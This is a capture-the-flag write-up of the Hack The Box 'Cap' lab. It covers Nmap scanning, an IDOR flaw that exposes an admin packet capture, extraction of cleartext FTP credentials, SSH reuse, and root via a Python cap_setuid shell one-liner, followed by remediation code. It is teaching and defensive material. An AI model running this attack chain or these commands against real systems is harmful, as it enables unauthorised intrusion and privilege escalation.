August 23, 2026
Understanding IDOR: Breaching Applications by Exploiting Logic Flaws
Target: Cap (Linux — Hack The Box)
By Daniel Costa
3 min read
This write-up walks through the exploitation of the Cap machine, framed as a real-world attack flow rather than a step-by-step CTF solution.
Phase 1 — Reconnaissance and Mapping
1. Initial scanning (Nmap)
nmap -sCV -p21,22,80 -oN scans/full.nmap 10.129.90.163nmap -sCV -p21,22,80 -oN scans/full.nmap 10.129.90.163Identified services:
Port Service Notes 21 FTP Legacy protocol (1970s), no native encryption — credentials (USER/PASS) travel in cleartext 22 SSH Remote administration, fully encrypted end-to-end 80 HTTP No TLS — all traffic between browser and server is exposed in plaintext
2. Web application analysis
Port 80 hosts a network/SOC monitoring dashboard. Browsing its menu exposes functional routes such as /netstat and /ipconfig, which execute system commands server-side and print the output back to the page.
Phase 2 — Vulnerability Exploitation (IDOR)
1. Identifying the routing pattern
Triggering a diagnostic (/netstat) redirects to an endpoint shaped like:
http://10.129.90.163/data/3http://10.129.90.163/data/3Backend behavior: each diagnostic run creates a database record with a sequential numeric ID, and the server redirects the user to /data/<ID> to display it.
2. The concept: what is IDOR?
IDOR (Insecure Direct Object Reference) falls under Broken Access Control — OWASP Top 10 category A01:2021, mapped to CWE-639. It's a design flaw rather than a single patchable CVE: the server trusts a client-supplied identifier (id=3) without checking whether the current session is actually authorized to access that object.
Vulnerable backend logic (hypothetical Flask):
@app.route('/data/<int:id>')
def view_data(id):
pcap_path = f"/var/www/uploads/captures/{id}.pcap"
# CRITICAL FLAW: no session/ownership check before serving the file
if os.path.exists(pcap_path):
return send_file(pcap_path)
return "Report not found", 404@app.route('/data/<int:id>')
def view_data(id):
pcap_path = f"/var/www/uploads/captures/{id}.pcap"
# CRITICAL FLAW: no session/ownership check before serving the file
if os.path.exists(pcap_path):
return send_file(pcap_path)
return "Report not found", 4043. Exploiting the IDOR
Since the id parameter is a predictable, client-visible integer, walking it backward reaches earlier records:
http://10.129.90.163/data/0http://10.129.90.163/data/0Because there's no ownership check, the app happily returns the very first record in the system (ID 0) — created by the administrator during setup — including a downloadable 0.pcap.
Corporate reality vs. CTF:
- IDOR — very common. This is one of the most frequently reported flaws in real-world pentests and bug bounty programs, especially in REST APIs (
GET /api/v1/orders/8842→/8841) and invoice/report download endpoints (?download_invoice=2026-0012). - Raw
.pcapfiles served from the web root — rare in production, common in labs. Enterprises don't typically capture live traffic and drop it straight into a web-accessible directory; this is a deliberate lab design to demonstrate sensitive-data-in-transit exposure.
Phase 3 — .pcap Analysis and Credential Extraction
A .pcap (Packet Capture) file stores raw traffic captured at the interface level — headers and payloads for every packet. Any protocol without encryption (like FTP) is fully readable inside it.
strings 0.pcap | grep -iE "USER|PASS"strings 0.pcap | grep -iE "USER|PASS"Extracted credentials:
Username: nathan
Password: Buck3t4B4s3t!Username: nathan
Password: Buck3t4B4s3t!(Equivalently: open the file in Wireshark and use Follow → TCP Stream on the FTP conversation.)
Phase 4 — Initial Access (Foothold)
With valid credentials, the natural next step is testing for password reuse against SSH — extremely common in real environments, where a password leaked from a legacy protocol or breach often unlocks SSH, email, or Active Directory.
ssh nathan@10.129.90.163ssh nathan@10.129.90.163Access granted as nathan.
User flag: /home/nathan/user.txt
Phase 5 — Privilege Escalation (Root)
1. Enumerating Linux capabilities
Rather than granting full root via SUID, modern Linux can assign fine-grained capabilities to a binary:
CAP_NET_RAW— open raw sockets (e.g.ping)CAP_NET_BIND_SERVICE— bind to ports < 1024CAP_SETUID— arbitrarily change a process's UID, including to 0 (root)
getcap -r / 2>/dev/nullgetcap -r / 2>/dev/nullRelevant finding:
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip2. Understanding the vulnerability
With cap_setuid set, any process spawned by that Python binary can call os.setuid(0) and successfully switch to root — the kernel already trusts it to do so.
[ python3.8 process, UID 1001 (nathan) ]
│
│ os.setuid(0)
▼
[ kernel checks: does this process have cap_setuid? YES ]
│
▼
[ process now runs as UID 0 (root) ]
│
│ os.system("/bin/sh")
▼
[ root shell ][ python3.8 process, UID 1001 (nathan) ]
│
│ os.setuid(0)
▼
[ kernel checks: does this process have cap_setuid? YES ]
│
▼
[ process now runs as UID 0 (root) ]
│
│ os.system("/bin/sh")
▼
[ root shell ]3. Exploitation
python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'whoami confirms root.
Root flag: /root/root.txt
Corporate reality vs. CTF:
cap_setuidon a global Python interpreter is unlikely in real production systems — it's a deliberate teaching device for Linux capability mechanics.- What you'll actually find in the wild: permissive
sudoersrules (sudo -l), hardcoded credentials in config files (.env,wp-config.php, shell history), and root-owned cron jobs pointing at world-writable scripts.
Attack Chain Summary
[ Port 80 / HTTP ]
│
▼
[ /data/3 ] ──( tamper → /data/0 )──► [ IDOR: no ownership check ]
│
▼
[ Download 0.pcap ] ──( extract FTP creds )──► [ nathan:Buck3t4B4s3t! ]
│
▼
[ SSH access ] ──( cap_setuid on python3.8 )──► [ root shell ][ Port 80 / HTTP ]
│
▼
[ /data/3 ] ──( tamper → /data/0 )──► [ IDOR: no ownership check ]
│
▼
[ Download 0.pcap ] ──( extract FTP creds )──► [ nathan:Buck3t4B4s3t! ]
│
▼
[ SSH access ] ──( cap_setuid on python3.8 )──► [ root shell ]Remediation
1. Fix the IDOR — enforce ownership on the backend:
@app.route('/data/<int:id>')
@login_required
def view_data(id):
capture = Capture.query.get_or_404(id)
if capture.owner_id != current_user.id:
return render_template('403.html'), 403
return send_file(capture.path)@app.route('/data/<int:id>')
@login_required
def view_data(id):
capture = Capture.query.get_or_404(id)
if capture.owner_id != current_user.id:
return render_template('403.html'), 403
return send_file(capture.path)2. Strip unnecessary capabilities:
sudo setcap -r /usr/bin/python3.8sudo setcap -r /usr/bin/python3.83. Enforce encrypted transport — disable plaintext FTP (port 21) and standardize on SFTP/SCP over SSH.